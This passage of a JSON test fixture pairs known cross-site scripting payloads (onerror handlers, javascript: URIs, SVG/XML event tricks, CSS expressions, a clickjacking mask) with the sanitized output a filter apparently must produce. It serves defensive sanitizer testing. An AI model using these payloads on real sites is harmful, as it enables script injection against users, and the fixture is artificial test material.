    "payload": "<label dataformatas=\"html\" datasrc=\"#xss\" datafld=\"payload\"></label>//[\"'`-->]]>]</div>",
    "expected": "<label dataformatas=\"html\" datasrc=\"#xss\" datafld=\"payload\"></label>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"54\"><script>[{'a':Object.prototype.__defineSetter__('b',function(){alert(arguments[0])}),'b':['secret']}]</script>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"54\">//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"55\"><video><source onerror=\"alert(55)\">//[\"'`-->]]>]</div>",
    "expected": "<div id=\"55\">&lt;video&gt;&lt; >//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"56\"><video onerror=\"alert(56)\"><source></source></video>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"56\">&lt;video &gt;&lt;&gt;&lt;/>&lt;/video&gt;//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"57\"><b <script>alert(57)//</script>0</script></b>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"57\"><b 0//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"58\"><b><script<b></b><alert(58)</script </b></b>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"58\"><b></b><alert&#40;58&#41;</b>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"59\"><div id=\"div1\"><input value=\"``onmouseover=alert(59)\"></div> <div id=\"div2\"></div><script>document.getElementById(\"div2\").innerHTML = document.getElementById(\"div1\").innerHTML;</script>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"59\"><div id=\"div1\">&lt;input value=\"``=alert&#40;59&#41;\"&gt;&lt;/div> <div id=\"div2\"></div>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"60\"><div style=\"[a]color[b]:[c]red\">XXX</div>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"60\"><div >XXX</div>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"61\"><div style=\"3\t\u0006f\n\u00006c\f\u000006F\nR:\u0000072 Ed;color\u0000\bla:yellow\u0000\bla;col\u0000\u0000 \u00A0or:blue;\">XXX</div>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"61\"><div >XXX</div>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"62\"><!-- IE 6-8 -->\n<x '=\"foo\"><x foo='><img src=x onerror=alert(62)//'>\n<!-- IE 6-9 -->\n<! '=\"foo\"><x foo='><img src=x onerror=alert(2)//'>\n<? '=\"foo\"><x foo='><img src=x onerror=alert(3)//'>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"62\">&lt;!-- IE 6-8 --&gt;\n<x '=\"foo\"><x foo='><>\n&><><>\n&><><img '>//[\"'`--&>]</>"
  },
  {
    "payload": "<div id=\"63\"><embed src=\"javascript:alert(63)\"></embed> // O10.10\u2193, OM10.0\u2193, GC6\u2193, FF\n<img src=\"javascript:alert(2)\">\n<image src=\"javascript:alert(2)\"> // IE6, O10.10\u2193, OM10.0\u2193\n<script src=\"javascript:alert(3)\"></script> // IE6, O11.01\u2193, OM10.1\u2193//[\"'`-->]]>]</div>",
    "expected": "<div id=\"63\">&lt;embed src=\"alert&#40;63&#41;\"&gt;&lt;/embed> // O10.10?, OM10.0?, GC6?, FF\n<img src=\"\">\n<image src=\"alert&#40;2&#41;\"> // IE6, O10.10?, OM10.0?\n]</div>"
  },
  {
    "payload": "<div id=\"64\"><!DOCTYPE x[<!ENTITY x SYSTEM \"http://html5sec.org/test.xxe\">]><y>&x;</y>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"64\">&lt;!DOCTYPE x[&lt;!ENTITY x SYSTEM \"http://html5sec.org/test.xxe\">]><y>&x;</y>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"65\"><svg onload=\"javascript:alert(65)\" xmlns=\"http://www.w3.org/2000/svg\"></svg>//[\"'`-->]]>]</div><div id=\"66\"><?xml version=\"1.0\"?>",
    "expected": "<div id=\"65\">&lt;svg  xmlns=\"http://www.w3.org/2000/svg\"&gt;&lt;/svg>//[\"'`--&gt;]]>]</div><div id=\"66\">&lt;?xml version=\"1.0\"?&gt;"
  },
  {
    "payload": "<?xml-stylesheet type=\"text/xsl\" href=\"data:,%3Cxsl:transform version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' id='xss'%3E%3Cxsl:output method='html'/%3E%3Cxsl:template match='/'%3E%3Cscript%3Ealert(66)%3C/script%3E%3C/xsl:template%3E%3C/xsl:transform%3E\"?>\n<root/>//[\"'`-->]]>]</div>\n<div id=\"67\"><!DOCTYPE x [\n    <!ATTLIST img xmlns CDATA \"http://www.w3.org/1999/xhtml\" src CDATA \"xx:x\"\n onerror CDATA \"alert(67)\"\n onload CDATA \"alert(2)\">\n]><img />//[\"'`-->]]>]</div>",
    "expected": "&lt;?xml-stylesheet type=\"text/xsl\" href=\"data:,%3Cxsl:transform version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' id='xss'%3E%3Cxsl:output method='html'/%3E%3Cxsl:template match='/'%3E%3Cscript%3Ealert&#40;66&#41;%3C/script%3E%3C/xsl:template%3E%3C/xsl:transform%3E\"?&gt;\n<root/>//[\"'`--&gt;]]>]</div>\n<div id=\"67\">&lt;!DOCTYPE x [\n    &lt;!ATTLIST img xmlns CDATA \"http://www.w3.org/1999/xhtml\" src CDATA \"xx:x\"\n  CDATA \"alert&#40;67&#41;\"\n  CDATA \"alert&#40;2&#41;\">\n]><img />//[\"'`--&>]</>"
  },
  {
    "payload": "<div id=\"68\"><doc xmlns:xlink=\"http://www.w3.org/1999/xlink\" xmlns:html=\"http://www.w3.org/1999/xhtml\">\n    <html:style /><x xlink:href=\"javascript:alert(68)\" xlink:type=\"simple\">XXX</x>\n</doc>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"68\"><doc xmlns:xlink=\"http://www.w3.org/1999/xlink\" xmlns:html=\"http://www.w3.org/1999/xhtml\">\n    &lt;html:style /&gt;&lt;x  xlink:type=\"simple\">XXX</x>\n</doc>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"69\"><card xmlns=\"http://www.wapforum.org/2001/wml\"><onevent type=\"ontimer\"><go href=\"javascript:alert(69)\"/></onevent><timer value=\"1\"/></card>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"69\"><card xmlns=\"http://www.wapforum.org/2001/wml\"><onevent type=\"ontimer\"><go href=\"alert&#40;69&#41;\"/></onevent><timer value=\"1\"/></card>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"70\"><div style=width:1px;filter:glow onfilterchange=alert(70)>x</div>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"70\"><div  >x</div>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"71\"><// style=x:expression\u00028alert(71)\u00029>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"71\"><//  8alert&#40;71&#41; 9>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"72\"><form><button formaction=\"javascript:alert(72)\">X</button>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"72\">&lt;form&gt;&lt;button >X&lt;/button&gt;//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"73\"><event-source src=\"event.php\" onload=\"alert(73)\">//[\"'`-->]]>]</div>",
    "expected": "<div id=\"73\"><event-source src=\"event.php\" >//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"74\"><a href=\"javascript:alert(74)\"><event-source src=\"data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A\" /></a>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"74\"><a href=\"\"><event-source src=\"data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A\" /></a>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"75\"><script<{alert(75)}/></script </>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"75\">//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"76\"><?xml-stylesheet type=\"text/css\"?><!DOCTYPE x SYSTEM \"test.dtd\"><x>&x;</x>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"76\">&lt;?xml-stylesheet type=\"text/css\"?&gt;&lt;!DOCTYPE x SYSTEM \"test.dtd\"><x>&x;</x>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"77\"><?xml-stylesheet type=\"text/css\"?><root style=\"x:expression(alert(77))\"/>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"77\">&lt;?xml-stylesheet type=\"text/css\"?&gt;<root />//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"78\"><?xml-stylesheet type=\"text/xsl\" href=\"#\"?><img xmlns=\"x-schema:test.xdr\"/>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"78\">&lt;?xml-stylesheet type=\"text/xsl\" href=\"#\"?&gt;<img xmlns=\"x-schema:test.xdr\"/>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"79\"><object allowscriptaccess=\"always\" data=\"test.swf\"></object>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"79\">&lt;object allowscriptaccess=\"always\" data=\"test.swf\"&gt;&lt;/object>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"80\"><style>*{x:\uFF45\uFF58\uFF50\uFF52\uFF45\uFF53\uFF53\uFF49\uFF4F\uFF4E(alert(80))}</style>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"80\">&lt;style&gt;*{x:??????????(alert&#40;80&#41;)}&lt;/style&gt;//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"81\"><x xmlns:xlink=\"http://www.w3.org/1999/xlink\" xlink:actuate=\"onLoad\" xlink:href=\"javascript:alert(81)\" xlink:type=\"simple\"/>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"81\"><x xmlns:xlink=\"http://www.w3.org/1999/xlink\" xlink:actuate=\"\"  xlink:type=\"simple\"/>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"82\"><?xml-stylesheet type=\"text/css\" href=\"data:,*%7bx:expression(write(2));%7d\"?>//[\"'`-->]]>]</div><div id=\"83\"><x:template xmlns:x=\"http://www.wapforum.org/2001/wml\"  x:ontimer=\"$(x:unesc)j$(y:escape)a$(z:noecs)v$(x)a$(y)s$(z)cript$x:alert(83)\"><x:timer value=\"1\"/></x:template>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"82\">&lt;?xml-stylesheet type=\"text/css\" href=\"data:,*{x:write(2));}\"?&gt;//[\"'`--&gt;]]>]</div><div id=\"83\"><x:template xmlns:x=\"http://www.wapforum.org/2001/wml\"  x:><x:timer value=\"1\"/></x:template>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"84\"><x xmlns:ev=\"http://www.w3.org/2001/xml-events\" ev:event=\"load\" ev:handler=\"javascript:alert(84)//#x\"/>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"84\"><x xmlns:ev=\"http://www.w3.org/2001/xml-events\" ev:event=\"load\" ev:handler=\"alert&#40;84&#41;//#x\"/>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"85\"><x xmlns:ev=\"http://www.w3.org/2001/xml-events\" ev:event=\"load\" ev:handler=\"test.evt#x\"/>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"85\"><x xmlns:ev=\"http://www.w3.org/2001/xml-events\" ev:event=\"load\" ev:handler=\"test.evt#x\"/>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"86\"><body oninput=alert(86)><input autofocus>//[\"'`-->]]>]</div><div id=\"87\"><svg xmlns=\"http://www.w3.org/2000/svg\">\n<a xmlns:xlink=\"http://www.w3.org/1999/xlink\" xlink:href=\"javascript:alert(87)\"><rect width=\"1000\" height=\"1000\" fill=\"white\"/></a>\n</svg>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"86\">&lt;body &gt;&lt;input autofocus>//[\"'`--&gt;]]>]</div><div id=\"87\">&lt;svg xmlns=\"http://www.w3.org/2000/svg\"&gt;\n<a xlink=\"http://www.w3.org/1999/xlink\"href=\"\"><rect width=\"1000\" height=\"1000\" fill=\"white\"/></a>\n&lt;/svg&gt;//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"88\"><svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n<animation xlink:href=\"javascript:alert(88)\"/>\n<animation xlink:href=\"data:text/xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(88)'%3E%3C/svg%3E\"/>\n\n<image xlink:href=\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(88)'%3E%3C/svg%3E\"/>\n\n<foreignObject xlink:href=\"javascript:alert(88)\"/>\n<foreignObject xlink:href=\"data:text/xml,%3Cscript xmlns='http://www.w3.org/1999/xhtml'%3Ealert(88)%3C/script%3E\"/>\n\n</svg>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"88\">&lt;svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"&gt;\n<animation />\n<animation  xmlns='http://www.w3.org/2000/svg' >&lt;/svg&gt;\"/>\n\n<image />\n\n<foreignObject >\n<foreignObject />\n\n&lt;/svg&gt;//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"89\"><svg xmlns=\"http://www.w3.org/2000/svg\">\n<set attributeName=\"onmouseover\" to=\"alert(89)\"/>\n<animate attributeName=\"onunload\" to=\"alert(89)\"/>\n</svg>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"89\">&lt;svg xmlns=\"http://www.w3.org/2000/svg\"&gt;\n<set attributeName=\"\" to=\"alert&#40;89&#41;\"/>\n<animate attributeName=\"\" to=\"alert&#40;89&#41;\"/>\n&lt;/svg&gt;//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"90\"><!-- Up to Opera 10.63 -->\n<div style=content:url(test2.svg)></div>\n\n<!-- Up to Opera 11.64 - see link below -->\n\n<!-- Up to Opera 12.x -->\n<div style=\"background:url(test5.svg)\">PRESS ENTER</div>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"90\">&lt;!-- Up to Opera 10.63 --&gt;\n<div ></div>\n\n&lt;!-- Up to Opera 11.64 - see link below --&gt;\n\n&lt;!-- Up to Opera 12.x --&gt;\n<div >PRESS ENTER</div>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"91\">[A]\n<? foo=\"><script>alert(91)</script>\">\n<! foo=\"><script>alert(91)</script>\">\n</ foo=\"><script>alert(91)</script>\">\n[B]\n<? foo=\"><x foo='?><script>alert(91)</script>'>\">\n[C]\n<! foo=\"[[[x]]\"><x foo=\"]foo><script>alert(91)</script>\">\n[D]\n<% foo><x foo=\"%><script>alert(91)</script>\">//[\"'`-->]]>]</div>",
    "expected": "<div id=\"91\">[A]\n&lt;? foo=\">\">\n<! foo=\">\">\n</ foo=\">\">\n[B]\n&lt;? foo=\"><x foo='?&gt;'>\">\n[C]\n<! foo=\"[[[x]]\"><x foo=\"]foo>\">\n[D]\n<% foo><x foo=\"%>\">//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"92\"><div style=\"background:url(http://foo.f/f oo/;color:red/*/foo.jpg);\">X</div>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"92\"><div >X</div>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"93\"><div style=\"list-style:url(http://foo.f)\u0010url(javascript:alert(93));\">X</div>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"93\"><div >X</div>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"94\"><svg xmlns=\"http://www.w3.org/2000/svg\">\n<handler xmlns:ev=\"http://www.w3.org/2001/xml-events\" ev:event=\"load\">alert(94)</handler>\n</svg>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"94\">&lt;svg xmlns=\"http://www.w3.org/2000/svg\"&gt;\n<handler xmlns:ev=\"http://www.w3.org/2001/xml-events\" ev:event=\"load\">alert&#40;94&#41;</handler>\n&lt;/svg&gt;//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"95\"><svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n<feImage>\n<set attributeName=\"xlink:href\" to=\"data:image/svg+xml;charset=utf-8;base64,\nPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ%2BYWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D\"/>\n</feImage>\n</svg>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"95\">&lt;svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"&gt;\n<feImage>\n<set attributeName=\"xlink:href\" to=\"\nPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ+YWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg==\"/>\n</feImage>\n&lt;/svg&gt;//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"96\"><iframe src=mhtml:http://html5sec.org/test.html!xss.html></iframe>\n<iframe src=mhtml:http://html5sec.org/test.gif!xss.html></iframe>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"96\">&lt;iframe src=mhtml:http://html5sec.org/test.html!xss.html&gt;&lt;/iframe>\n&lt;iframe src=mhtml:http://html5sec.org/test.gif!xss.html&gt;&lt;/iframe>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"97\"><!-- IE 5-9 -->\n<div id=d><x xmlns=\"><iframe onload=alert(97)\"></div>\n<script>d.innerHTML+='';</script>\n<!-- IE 10 in IE5-9 Standards mode -->\n<div id=d><x xmlns='\"><iframe onload=alert(2)//'></div>\n<script>d.innerHTML+='';</script>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"97\">&lt;!-- IE 5-9 --&gt;\n<div id=d><x xmlns=\">&lt;iframe \"&gt;&lt;/div&gt;\n\n&lt;!-- IE 10 in IE5-9 Standards mode --&gt;\n&lt;div id=d&gt;&lt;x xmlns='\"&gt;&lt;iframe '&gt;&lt;/div&gt;\n//[\"'`--&gt;]]&gt;]&lt;/div>"
  },
  {
    "payload": "<div id=\"98\"><div id=d><div style=\"font-family:'sans\u0017\u0002F\u0002A\u0012\u0002A\u0002F\u0003B color\u0003Ared\u0003B'\">X</div></div>\n<script>with(document.getElementById(\"d\"))innerHTML=innerHTML</script>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"98\"><div id=d><div >X</div></div>\n//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"99\">XXX<style>\n\n*{color:gre/**/en !/**/important} /* IE 6-9 Standards mode */\n\n<!--\n--><!--*{color:red}   /* all UA */\n\n*{background:url(xx:x //**/\red/*)} /* IE 6-7 Standards mode */\n\n</style>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"99\">XXX&lt;style&gt;\n\n*{color:gre/**/en !/**/important} /* IE 6-9 Standards mode */\n\n&lt;!--\n--&gt;&lt;!--*{color:red}   /* all UA */\n\n*{background:url(xx:x //**/\red/*)} /* IE 6-7 Standards mode */\n\n&lt;/style&gt;//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"100\"><img[a][b]src=x[d]onerror[c]=[e]\"alert(100)\">//[\"'`-->]]>]</div>",
    "expected": "<div id=\"100\"><img[>//[\"'`--&>]</>"
  },
  {
    "payload": "<div id=\"101\"><a href=\"[a]java[b]script[c]:alert(101)\">XXX</a>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"101\"><a href=\"\">XXX</a>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"102\"><img src=\"x` `<script>alert(102)</script>\"` `>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"102\"><img src=\"x` `\">//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"103\"><script>history.pushState(0,0,'/i/am/somewhere_else');</script>//[\"'`-->]]>]</div><div id=\"104\"><svg xmlns=\"http://www.w3.org/2000/svg\" id=\"foo\">\n<x xmlns=\"http://www.w3.org/2001/xml-events\" event=\"load\" observer=\"foo\" handler=\"data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%3Chandler%20xml%3Aid%3D%22bar%22%20type%3D%22application%2Fecmascript%22%3E alert(104) %3C%2Fhandler%3E%0A%3C%2Fsvg%3E%0A#bar\"/>\n</svg>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"103\">//[\"'`--&gt;]]>]</div><div id=\"104\">&lt;svg xmlns=\"http://www.w3.org/2000/svg\" id=\"foo\"&gt;\n<x xmlns=\"http://www.w3.org/2001/xml-events\" event=\"load\" observer=\"foo\" handler=\"data:image/svg+xml,&lt;svg xmlns=\"http://www.w3.org/2000/svg\"&gt;\n&lt;handler xml:id=\"bar\" type=\"application/ecmascript\"&gt; alert&#40;104&#41; &lt;/handler&gt;\n&lt;/svg&gt;\n#bar\"/&gt;\n&lt;/svg&gt;//[\"'`--&gt;]]&gt;]&lt;/div&gt;"
  },
  {
    "payload": "<div id=\"105\"><iframe src=\"data:image/svg-xml,%1F%8B%08%00%00%00%00%00%02%03%B3)N.%CA%2C(Q%A8%C8%CD%C9%2B%B6U%CA())%B0%D2%D7%2F%2F%2F%D7%2B7%D6%CB%2FJ%D77%B4%B4%B4%D4%AF%C8(%C9%CDQ%B2K%CCI-*%D10%D4%B4%D1%87%E8%B2%03\"></iframe>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"105\">&lt;iframe src=\"data:image/svg-xml,%1F%8B%B3)N.%CA%2C(Q%A8%C8%CD%C9%2B%B6U%CA())%B0%D2%D7%2F%2F%2F%D7%2B7%D6%CB%2FJ%D77%B4%B4%B4%D4%AF%C8(%C9%CDQ%B2K%CCI-*%D10%D4%B4%D1%87%E8%B2\"&gt;&lt;/iframe>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"106\"><img src onerror /\" '\"= alt=alert(106)//\">//[\"'`-->]]>]</div>",
    "expected": "<div id=\"106\"><img >//[\"'`--&>]</>"
  },
  {
    "payload": "<div id=\"107\"><title onpropertychange=alert(107)></title><title title=></title>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"107\">&lt;title &gt;&lt;/title>&lt;title title=&gt;&lt;/title>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"108\"><!-- IE 5-8 standards mode -->\n<a href=http://foo.bar/#x=`y></a><img alt=\"`><img src=xx:x onerror=alert(108)></a>\">\n<!-- IE 5-9 standards mode -->\n<!a foo=x=`y><img alt=\"`><img src=xx:x onerror=alert(2)//\">\n<?a foo=x=`y><img alt=\"`><img src=xx:x onerror=alert(3)//\">//[\"'`-->]]>]</div>",
    "expected": "<div id=\"108\">&lt;!-- IE 5-8 standards mode --&gt;\n<a ></a>< >< ></>\">\n&>< ><>\n&>< ><>//[\"'`--&>]</div>"
  },
  {
    "payload": "<div id=\"109\"><svg xmlns=\"http://www.w3.org/2000/svg\">\n<a id=\"x\"><rect fill=\"white\" width=\"1000\" height=\"1000\"/></a>\n<rect  fill=\"white\" style=\"clip-path:url(test3.svg#a);fill:url(#b);filter:url(#c);marker:url(#d);mask:url(#e);stroke:url(#f);\"/>\n</svg>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"109\">&lt;svg xmlns=\"http://www.w3.org/2000/svg\"&gt;\n<a id=\"x\"><rect fill=\"white\" width=\"1000\" height=\"1000\"/></a>\n<rect  fill=\"white\" />\n&lt;/svg&gt;//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"110\"><svg xmlns=\"http://www.w3.org/2000/svg\">\n<path d=\"M0,0\" style=\"marker-start:url(test4.svg#a)\"/>\n</svg>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"110\">&lt;svg xmlns=\"http://www.w3.org/2000/svg\"&gt;\n<path d=\"M0,0\" />\n&lt;/svg&gt;//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"111\"><div style=\"background:url(/f#[a]oo/;color:red/*/foo.jpg);\">X</div>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"111\"><div >X</div>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"112\"><div style=\"font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);\">X</div>//[\"'`-->]]>]</div><div id=\"113\"><div id=\"x\">XXX</div>\n<style>\n\n#x{font-family:foo[bar;color:green;}\n\n#y];color:red;{}\n\n</style>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"112\"><div >X</div>//[\"'`--&gt;]]>]</div><div id=\"113\"><div id=\"x\">XXX</div>\n&lt;style&gt;\n\n#x{font-family:foo[bar;color:green;}\n\n#y];color:red;{}\n\n&lt;/style&gt;//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"114\"><x style=\"background:url('x[a];color:red;/*')\">XXX</x>//[\"'`-->]]>]</div><div id=\"115\"><!--[if]><script>alert(115)</script -->\n<!--[if<img src=x onerror=alert(2)//]> -->//[\"'`-->]]>]</div>",
    "expected": "<div id=\"114\"><x >XXX</x>//[\"'`--&gt;]]>]</div><div id=\"115\">&lt;!--[if]> --&gt;//[\"'`--&gt;]]>]</div>"
  },
  {
    "title": "XML",
    "payload": "<div id=\"116\"><div id=\"x\">x</div>\n<xml:namespace prefix=\"t\">\n<import namespace=\"t\" implementation=\"#default#time2\">\n<t:set attributeName=\"innerHTML\" targetElement=\"x\" to=\"<img\u000Bsrc=x:x\u000Bonerror\u000B=alert(116)>\">//[\"'`-->]]>]</div>",
    "expected": "<div id=\"116\"><div id=\"x\">x</div>\n&lt;xml:namespace prefix=\"t\"&gt;\n<import namespace=\"t\" implementation=\"#default#time2\">\n<t:set attributeName=\"innerHTML\" targetElement=\"x\" to=\"<img >\">//[\"'`--&>]</>"
  },
  {
    "title": "iframe",
    "payload": "<div id=\"117\"><a href=\"http://attacker.org\">\n    <iframe src=\"http://example.org/\"></iframe>\n</a>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"117\"><a href=\"http://attacker.org\">\n    &lt;iframe src=\"http://example.org/\"&gt;&lt;/iframe>\n</a>//[\"'`--&gt;]]>]</div>"
  },
  {
    "title": "Drag & drop",
    "payload": "<div id=\"118\"><div draggable=\"true\" ondragstart=\"event.dataTransfer.setData('text/plain','malicious code');\">\n    <h1>Drop me</h1>\n</div>\n<iframe src=\"http://www.example.org/dropHere.html\"></iframe>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"118\"><div draggable=\"true\" >\n    <h1>Drop me</h1>\n</div>\n&lt;iframe src=\"http://www.example.org/dropHere.html\"&gt;&lt;/iframe>//[\"'`--&gt;]]>]</div>"
  },
  {
    "title": "view-source",
    "payload": "<div id=\"119\"><iframe src=\"view-source:http://www.example.org/\" frameborder=\"0\" style=\"width:400px;height:180px\"></iframe>",
    "expected": "<div id=\"119\">&lt;iframe src=\"http://www.example.org/\" frameborder=\"0\" &gt;&lt;/iframe>"
  },
  {
    "payload": "<textarea type=\"text\" cols=\"50\" rows=\"10\"></textarea>//[\"'`-->]]>]</div>",
    "expected": "&lt;textarea type=\"text\" cols=\"50\" rows=\"10\"&gt;&lt;/textarea>//[\"'`--&gt;]]>]</div>"
  },
  {
    "title": "window.open",
    "payload": "<div id=\"120\"><script>\nfunction makePopups(){\n    for (i=1;i<6;i++) {\n        window.open('popup.html','spam'+i,'width=50,height=50');\n    }\n}\n</script>\n<body>\n<a href=\"#\" onclick=\"makePopups()\">Spam</a>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"120\">\n&lt;body&gt;\n<a href=\"#\">Spam</a>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"121\"><html xmlns=\"http://www.w3.org/1999/xhtml\"\nxmlns:svg=\"http://www.w3.org/2000/svg\">\n<body style=\"background:gray\">\n<iframe src=\"http://example.com/\" style=\"width:800px; height:350px; border:none; mask: url(#maskForClickjacking);\"/>\n<svg:svg>\n<svg:mask id=\"maskForClickjacking\" maskUnits=\"objectBoundingBox\" maskContentUnits=\"objectBoundingBox\">\n    <svg:rect x=\"0.0\" y=\"0.0\" width=\"0.373\" height=\"0.3\" fill=\"white\"/>\n    <svg:circle cx=\"0.45\" cy=\"0.7\" r=\"0.075\" fill=\"white\"/>\n</svg:mask>\n</svg:svg>\n</body>\n</html>//[\"'`-->]]>]</div>",
